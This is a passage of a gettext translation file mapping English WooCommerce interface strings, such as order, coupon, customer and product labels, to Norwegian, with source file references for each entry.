#: src/Admin/ReportCSVEmail.php:74 src/Internal/Admin/Analytics.php:242
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:360
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/blocks/cart.js:26 assets/client/blocks/checkout.js:33
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:47
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Taxes"
msgstr "Avgifter"
#: includes/admin/class-wc-admin-reports.php:158
msgid "Most stocked"
msgstr "Mest på lager"
#: includes/admin/class-wc-admin-reports.php:146
msgid "Low in stock"
msgstr "Lite på lager"
#: includes/admin/class-wc-admin-reports.php:135
msgid "Customer list"
msgstr "Kundeliste"
#: includes/admin/class-wc-admin-reports.php:129
msgid "Customers vs. guests"
msgstr "Kunder vs. gjester"
#: includes/admin/class-wc-admin-reports.php:126
#: includes/admin/settings/class-wc-settings-emails.php:546
#: src/Admin/ReportCSVEmail.php:68 src/Internal/Admin/Analytics.php:260
#: src/Internal/Admin/Orders/ListTable.php:1816
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Customers"
msgstr "Kunder"
#: includes/admin/class-wc-admin-reports.php:112
msgid "Coupons by date"
msgstr "Rabattkoder etter dato"
#: includes/admin/class-wc-admin-reports.php:106
msgid "Sales by category"
msgstr "Salg pr. kategori"
#: includes/admin/class-wc-admin-reports.php:100
msgid "Sales by product"
msgstr "Salg pr. produkt"
#: includes/admin/class-wc-admin-reports.php:94
msgid "Sales by date"
msgstr "Salg pr. dato"
#: includes/admin/class-wc-admin-reports.php:91
#: includes/admin/reports/class-wc-report-customer-list.php:219
#: includes/admin/settings/class-wc-settings-advanced.php:253
#: includes/class-wc-post-types.php:464
#: includes/class-wc-privacy-exporters.php:76 includes/class-wc-query.php:132
#: includes/emails/class-wc-email.php:448
#: includes/react-admin/connect-existing-pages.php:134
#: includes/react-admin/connect-existing-pages.php:165
#: includes/wc-account-functions.php:108 src/Admin/API/Leaderboards.php:151
#: src/Admin/API/Leaderboards.php:291
#: src/Admin/API/Reports/Categories/Controller.php:249
#: src/Admin/API/Reports/Coupons/Controller.php:223
#: src/Admin/API/Reports/Customers/Controller.php:546
#: src/Admin/API/Reports/Orders/Stats/Controller.php:129
#: src/Admin/API/Reports/Products/Controller.php:326
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:275
#: src/Admin/API/Reports/Taxes/Controller.php:235
#: src/Admin/API/Reports/Variations/Controller.php:376
#: src/Admin/ReportCSVEmail.php:70 src/Internal/Admin/Analytics.php:218
#: assets/client/admin/app/index.js:2 assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/wp-admin-scripts/command-palette.js:2
msgid "Orders"
msgstr "Ordrer"
#: includes/admin/reports/class-wc-report-customer-list.php:217
#: includes/admin/settings/class-wc-settings-emails.php:428
#: includes/admin/settings/class-wc-settings-point-of-sale.php:101
#: src/Admin/API/Reports/Customers/Controller.php:545
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:36
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:90
#: src/Internal/Admin/Orders/ListTable.php:1706
#: src/Internal/EmailEditor/Integration.php:139
#: src/StoreApi/Schemas/V1/BillingAddressSchema.php:38
#: templates/single-product-reviews.php:96
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/blocks/legacy-template.js:4
msgid "Email"
msgstr "E-post"
#: includes/admin/class-wc-admin-profile.php:82
#: includes/admin/class-wc-admin-profile.php:142
msgid "State / County or state code"
msgstr "Delstat / fylke eller delstatskode"
#: src/Blocks/Domain/Services/CheckoutFields.php:763
msgid "State/County"
msgstr "Delstat/Fylke"
#: includes/class-wc-countries.php:929 includes/class-wc-countries.php:1424
#: includes/class-wc-countries.php:1434 includes/class-wc-countries.php:1640
msgid "Postcode"
msgstr "Postnummer"
#: includes/admin/class-wc-admin-profile.php:66
#: includes/admin/class-wc-admin-profile.php:126
#: includes/admin/class-wc-admin-setup-wizard.php:519
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:79
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:151
#: includes/admin/settings/class-wc-settings-general.php:133
#: includes/admin/settings/class-wc-settings-tax.php:251
#: includes/admin/settings/views/html-settings-tax.php:35
#: src/Admin/API/Reports/Customers/Controller.php:550
#: src/Blocks/Domain/Services/CheckoutFields.php:751
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:76
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "City"
msgstr "Poststed"
#: includes/admin/class-wc-admin-profile.php:54
#: includes/admin/class-wc-admin-profile.php:114
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:67
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:139
#: src/Blocks/BlockTypes/Checkout.php:97
#: src/Blocks/Domain/Services/CheckoutFields.php:715
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:58
#: assets/client/blocks/checkout.js:2
msgid "Company"
msgstr "Firma"
#: includes/admin/class-wc-admin-profile.php:50
#: includes/admin/class-wc-admin-profile.php:110
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:63
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:135
#: includes/class-wc-countries.php:778 includes/class-wc-form-handler.php:288
#: src/Blocks/Domain/Services/CheckoutFields.php:703
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:52
#: templates/myaccount/form-edit-account.php:38
msgid "Last name"
msgstr "Etternavn"
#: includes/admin/class-wc-admin-profile.php:46
#: includes/admin/class-wc-admin-profile.php:106
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:59
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:131
#: includes/class-wc-countries.php:771 includes/class-wc-form-handler.php:287
#: src/Blocks/Domain/Services/CheckoutFields.php:691
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:46
#: templates/myaccount/form-edit-account.php:34
msgid "First name"
msgstr "Fornavn"
#: includes/admin/class-wc-admin-post-types.php:788
#: includes/admin/meta-boxes/views/html-order-items.php:346
#: includes/admin/meta-boxes/views/html-order-items.php:412
#: includes/admin/meta-boxes/views/html-product-data-general.php:90
#: includes/admin/meta-boxes/views/html-product-data-variations.php:173
#: includes/admin/meta-boxes/views/html-product-data-variations.php:218
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:48
#: includes/wc-account-functions.php:317
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:133
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:164
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:225
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:81
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/UI.php:360
#: src/Internal/StockNotifications/Admin/ListTable.php:314
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:46
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:54
#: assets/client/admin/chunks/1087.js:2 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/6526.js:1 assets/client/admin/chunks/9336.js:1
#: assets/client/admin/chunks/9670.js:1
#: assets/client/admin/chunks/activity-panels-inbox.js:1
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/customer-effort-score/index.js:1
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/experimental/index.js:2
#: assets/client/admin/product-editor/blocks/generic/taxonomy/create-taxonomy-modal.js:1
#: assets/client/admin/product-editor/blocks/product-fields/downloads/edit-downloads-modal/edit-downloads-modal.js:1
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/all-products.js:13 assets/client/blocks/cart.js:26
#: assets/client/blocks/checkout.js:37
#: assets/client/blocks/product-category.js:12
#: assets/client/blocks/product-collection.js:16
#: assets/client/blocks/product-tag.js:9
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Cancel"
msgstr "Avbryt"
#: includes/admin/class-wc-admin-post-types.php:787
msgid "OK"
msgstr "OK"
#: includes/admin/class-wc-admin-post-types.php:758
msgid "Catalog visibility:"
msgstr "Katalogsynlighet:"
#: includes/admin/views/html-bulk-edit-product.php:260
#: includes/admin/views/html-quick-edit-product.php:164
#: includes/customizer/class-wc-shop-customizer.php:765
#: includes/wc-product-functions.php:1018 assets/client/admin/chunks/1087.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Hidden"
msgstr "Skjult"
#: includes/admin/views/html-bulk-edit-product.php:259
#: includes/admin/views/html-quick-edit-product.php:163
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php:786
#: patterns/footer-simple-menu.php:16 patterns/footer-with-3-menus.php:40
#: patterns/header-large.php:50 src/Blocks/BlockTypes/ProductSearch.php:43
#: src/Blocks/BlockTypes/ProductSearch.php:111
#: src/Internal/Admin/Logging/PageController.php:802
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:31
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/legacy-template.js:3
#: assets/client/blocks/product-search.js:1
msgid "Search"
msgstr "Søk"
#: includes/admin/views/html-bulk-edit-product.php:258
#: includes/admin/views/html-quick-edit-product.php:162
msgid "Catalog"
msgstr "Katalog"
#: includes/admin/class-wc-admin-post-types.php:720
msgid "Description (optional)"
msgstr "Beskrivelse (valgfritt)"
#: includes/admin/class-wc-admin-post-types.php:705
#: src/Admin/API/Leaderboards.php:148
#: src/Admin/API/Reports/Coupons/Controller.php:222 templates/cart/cart.php:175
#: templates/checkout/form-coupon.php:43 assets/client/admin/chunks/2304.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
msgid "Coupon code"
msgstr "Rabattkode"
#: includes/admin/class-wc-admin-post-types.php:702
#: assets/client/admin/wp-admin-scripts/product-tour.js:2
#: assets/client/blocks/all-reviews.js:3
#: assets/client/blocks/reviews-by-category.js:14
msgid "Product name"
msgstr "Produktnavn"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:101
msgid "Search for a customer…"
msgstr "Søk etter en kunde…"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:200
msgid "Show all types"
msgstr "Vis alle typer"
#: includes/wc-product-functions.php:700
msgid "Simple product"
msgstr "Enkeltprodukt"
#: includes/wc-product-functions.php:703 assets/client/admin/chunks/9670.js:1
msgid "Variable product"
msgstr "Variabelt produkt"
#: includes/wc-product-functions.php:702
msgid "External/Affiliate product"
msgstr "Ekstern-/Partnerprodukt"
#: includes/wc-product-functions.php:701
#: src/Admin/Features/ProductBlockEditor/Init.php:297
#: assets/client/admin/chunks/9670.js:1
msgid "Grouped product"
msgstr "Gruppert produkt"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:522
msgid "Order status changed by bulk edit:"
msgstr "Ordrestatus endret av masseredigering:"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:455
#: src/Internal/Admin/Orders/ListTable.php:1342
msgid "Complete"
msgstr "Fullfør"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:396
#: src/Internal/Admin/Orders/ListTable.php:1334
msgid "Processing"
msgstr "Behandler"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:398
#: includes/admin/reports/class-wc-report-downloads.php:198
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Guest"
msgstr "Gjest"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:126
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:419
#: src/Internal/Admin/Orders/ListTable.php:1020
msgid "Billing"
msgstr "Fakturering"
#. translators: Review date format. See
#. https://www.php.net/manual/datetime.format.php
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1129
msgid "Y/m/d"
msgstr "d/m/Y"
#: includes/admin/reports/class-wc-report-stock.php:144
#: includes/admin/views/html-admin-page-status-logs.php:44
#: includes/wc-account-functions.php:311 assets/client/admin/chunks/9336.js:1
msgid "View"
msgstr "Vis"
#: packages/email-editor/src/Engine/class-send-preview-email.php:92
#: src/Internal/Admin/Orders/ListTable.php:1136
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Preview"
msgstr "Forhåndsvis"
#: includes/admin/class-wc-admin-webhooks-table-list.php:102
#: includes/admin/class-wc-admin-webhooks-table-list.php:232
#: includes/admin/meta-boxes/class-wc-meta-box-order-actions.php:66
#: includes/admin/settings/views/html-webhooks-edit.php:220
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:71
#: src/Internal/Admin/Logging/PageController.php:387
#: src/Internal/Admin/Orders/ListTable.php:327
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:701
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:215
#: src/Internal/StockNotifications/Admin/ListTable.php:315
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:62
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
msgid "Delete permanently"
msgstr "Slett permanent"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:520
msgid "Delete this review permanently"
msgstr "Slett denne omtalen permanent"
#: includes/admin/class-wc-admin-duplicate-product.php:63
#: assets/client/admin/chunks/4706.js:1
msgid "Trash"
msgstr "Papirkurv"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:528
msgid "Move this review to the Trash"
msgstr "Flytt denne omtalen til papirkurven"
#: src/Internal/Admin/Orders/ListTable.php:326
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:511
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:695
msgid "Restore"
msgstr "Gjenopprett"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:510
msgid "Restore this review from the Trash"
msgstr "Gjenopprett denne omtalen fra papirkurven"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:305
#: includes/admin/settings/class-wc-settings-shipping.php:341
#: includes/admin/views/html-bulk-edit-product.php:277
#: includes/admin/views/html-bulk-edit-product.php:311
#: includes/admin/views/html-bulk-edit-product.php:370
#: includes/widgets/class-wc-widget-brand-thumbnails.php:222
#: src/Blocks/Domain/Services/CheckoutFields.php:1464
#: assets/client/admin/chunks/marketplace.js:1
msgid "No"
msgstr "Nei"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:303
#: includes/admin/settings/class-wc-settings-emails.php:488
#: includes/admin/settings/class-wc-settings-shipping.php:340
#: includes/admin/views/html-bulk-edit-product.php:276
#: includes/admin/views/html-bulk-edit-product.php:310
#: includes/admin/views/html-bulk-edit-product.php:369
#: includes/widgets/class-wc-widget-brand-thumbnails.php:221
#: src/Blocks/Domain/Services/CheckoutFields.php:1464
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/blocks/order-confirmation-additional-fields.js:1
#: assets/client/blocks/order-confirmation-billing-address.js:1
#: assets/client/blocks/order-confirmation-shipping-address.js:1
msgid "Yes"
msgstr "Ja"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:301
msgid "Toggle featured"
msgstr "Veksling vist"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:749
msgid "Sample"
msgstr "Prøveeksemplar"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:408
#: includes/admin/meta-boxes/views/html-variation-admin.php:117
#: includes/admin/wc-admin-functions.php:587
msgid "Downloadable"
msgstr "Nedlastbar"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:412
#: includes/admin/meta-boxes/views/html-variation-admin.php:121
#: includes/admin/wc-admin-functions.php:580
msgid "Virtual"
msgstr "Virtuell"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:129
#: includes/admin/reports/class-wc-report-customer-list.php:222
#: includes/admin/reports/class-wc-report-stock.php:179
#: includes/wc-account-functions.php:226
#: src/Internal/Admin/Orders/ListTable.php:1023
#: templates/order/order-details-fulfillments.php:160
#: templates/order/order-details.php:97 assets/client/admin/chunks/1087.js:2
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Actions"
msgstr "Handlinger"
#: includes/admin/class-wc-admin-dashboard.php:498
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:128
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:263
#: includes/admin/meta-boxes/views/html-order-item.php:158
#: includes/admin/meta-boxes/views/html-order-item.php:201
#: includes/admin/meta-boxes/views/html-order-items.php:51
#: includes/admin/reports/class-wc-report-taxes-by-code.php:226
#: includes/wc-account-functions.php:225
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:47
#: src/Blocks/BlockTypes/OrderConfirmation/Totals.php:39
#: src/Internal/Admin/Orders/ListTable.php:1022
#: templates/cart/cart-totals.php:98 templates/cart/cart-totals.php:99
#: templates/checkout/review-order.php:103 templates/myaccount/my-orders.php:17
#: templates/order/order-details.php:64 assets/client/blocks/cart.js:12
#: assets/client/blocks/cart.js:22 assets/client/blocks/cart.js:25
#: assets/client/blocks/checkout.js:23 assets/client/blocks/checkout.js:25
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/order-confirmation-totals.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:9
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:33
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Total"
msgstr "Totalt"
#: includes/class-wc-checkout.php:262
msgid "Order notes"
msgstr "Ordrenotater"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:127
#: src/Internal/Admin/Orders/ListTable.php:1021
msgid "Ship to"
msgstr "Send til"
#: includes/admin/helper/class-wc-helper.php:293
#: includes/admin/helper/class-wc-helper.php:391
#: includes/admin/helper/class-wc-helper.php:405
msgid "Purchase"
msgstr "Kjøp"
#: includes/abstracts/abstract-wc-order.php:2517
#: includes/admin/class-wc-admin-dashboard.php:496
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:123
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:214
#: includes/admin/reports/class-wc-report-downloads.php:87
#: includes/admin/reports/class-wc-report-downloads.php:221
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-request.php:1053
#: includes/wc-account-functions.php:222 src/Internal/Admin/Orders/Edit.php:154
#: src/Internal/Admin/Orders/ListTable.php:1017
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:28
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:45
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:69
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:90
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:107
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:124
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:141
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:158
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:175
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:192
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:209
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:226
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:243
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:260
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:277
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:294
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:311
#: templates/myaccount/my-orders.php:14 assets/client/admin/chunks/1087.js:2
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
msgid "Order"
msgid_plural "Orders"
msgstr[0] "Ordre"
msgstr[1] "Ordrer"
#: includes/admin/class-wc-admin-dashboard.php:497
#: includes/admin/class-wc-admin-menus.php:194
#: includes/admin/class-wc-admin-webhooks-table-list.php:51
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:125
#: includes/admin/meta-boxes/views/html-product-data-variations.php:83
#: includes/admin/settings/views/html-webhooks-edit.php:36
#: includes/react-admin/connect-existing-pages.php:39
#: includes/wc-account-functions.php:224
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:301
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:97
#: src/Admin/API/Reports/Orders/Controller.php:465
#: src/Admin/API/Reports/Products/Controller.php:332
#: src/Admin/API/Reports/Stock/Controller.php:496
#: src/Admin/API/Reports/Variations/Controller.php:380
#: src/Blocks/BlockTypes/ProductFilterStatus.php:127
#: src/Internal/Admin/Logging/Settings.php:337
#: src/Internal/Admin/Orders/ListTable.php:1019
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:107
#: templates/myaccount/my-orders.php:16 assets/client/admin/chunks/4706.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/product-filter-active.js:1
#: assets/client/blocks/product-filter-status.js:1
msgid "Status"
msgstr "Status"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:88
msgid "Expiry date"
msgstr "Utløpsdato"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:87
msgid "Usage / Limit"
msgstr "Bruk / Begrensning"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:86
msgid "Product IDs"
msgstr "Produkt-IDer"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:84
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:91
#: includes/admin/reports/class-wc-report-sales-by-date.php:743
msgid "Coupon amount"
msgstr "Rabattkodebeløp"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:83
msgid "Coupon type"
msgstr "Rabattkodetype"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:82
msgid "Code"
msgstr "Kode"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:124
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:159
#: includes/admin/reports/class-wc-report-coupon-usage.php:366
#: includes/admin/reports/class-wc-report-customers.php:230
#: includes/admin/reports/class-wc-report-sales-by-category.php:272
#: includes/admin/reports/class-wc-report-sales-by-date.php:620
#: includes/admin/reports/class-wc-report-sales-by-product.php:413
#: includes/wc-account-functions.php:223
#: includes/widgets/class-wc-widget-products.php:56
#: src/Admin/API/Reports/Downloads/Controller.php:321
#: src/Admin/API/Reports/Orders/Controller.php:462
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:274
#: src/Internal/Admin/Orders/ListTable.php:1018
#: templates/myaccount/my-orders.php:15 assets/client/admin/chunks/4706.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-orders.js:1
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/legacy-template.js:4
msgid "Date"
msgstr "Dato"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:643
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:157
#: includes/export/class-wc-product-csv-exporter.php:161
#: assets/client/admin/product-editor/blocks/product-fields/tag/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-collection.js:16
msgid "Tags"
msgstr "Stikkord"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:642
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:829
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:156
#: includes/admin/reports/class-wc-report-sales-by-category.php:199
#: includes/class-wc-post-types.php:97
#: includes/export/class-wc-product-csv-exporter.php:160
#: src/Admin/ReportCSVEmail.php:66 src/Internal/Admin/Analytics.php:230
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:553
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/blocks/product-collection.js:16
msgid "Categories"
msgstr "Kategorier"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:801
#: includes/admin/importers/mappings/generic.php:23
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:152
#: includes/admin/meta-boxes/views/html-order-items.php:49
#: includes/admin/views/html-bulk-edit-product.php:26
#: includes/admin/views/html-quick-edit-product.php:36
#: includes/widgets/class-wc-widget-products.php:57
#: src/Blocks/BlockTypes/ProductFilterPrice.php:121 templates/cart/cart.php:31
#: templates/cart/cart.php:125 templates/emails/email-order-details.php:79
#: assets/client/admin/product-editor/blocks/generic/pricing/edit.js:1
#: assets/client/admin/product-editor/blocks/product-fields/product-list/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/active-filters-frontend.js:5
#: assets/client/blocks/active-filters-wrapper-frontend.js:5
#: assets/client/blocks/active-filters.js:5 assets/client/blocks/mini-cart.js:1
#: assets/client/blocks/product-filter-price.js:1
msgid "Price"
msgstr "Pris"
#: includes/admin/class-wc-admin-reports.php:143
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:626
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:149
#: includes/admin/meta-boxes/views/html-product-data-variations.php:104
#: includes/export/class-wc-product-csv-exporter.php:144
#: src/Admin/API/Reports/Products/Controller.php:333
#: src/Admin/API/Reports/Stock/Controller.php:497
#: src/Admin/API/Reports/Variations/Controller.php:381
#: src/Admin/ReportCSVEmail.php:73 src/Internal/Admin/Analytics.php:254
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/product-editor/blocks/product-fields/product-list/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Stock"
msgstr "Lager"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:614
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:792
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:145
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:22
#: includes/admin/meta-boxes/views/html-variation-admin.php:88
#: includes/admin/views/html-quick-edit-product.php:25
#: includes/export/class-wc-product-csv-exporter.php:131
#: src/Admin/API/Reports/Products/Controller.php:323
#: src/Admin/API/Reports/Stock/Controller.php:495
#: src/Admin/API/Reports/Variations/Controller.php:373
#: assets/client/admin/chunks/4706.js:1
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "SKU"
msgstr "Produktnummer"
#: includes/admin/class-wc-admin-brands.php:530
#: includes/admin/class-wc-admin-taxonomies.php:381
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:141
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:249
#: assets/client/blocks/all-reviews.js:3
#: assets/client/blocks/reviews-by-category.js:14
#: assets/client/blocks/reviews-by-product.js:12
msgid "Image"
msgstr "Bilde"
#. translators: %s: coupon count
#: includes/admin/class-wc-admin-post-types.php:262
msgid "%s coupon restored from the Trash."
msgid_plural "%s coupons restored from the Trash."
msgstr[0] "%s rabattkode gjenopprettet fra papirkurven."
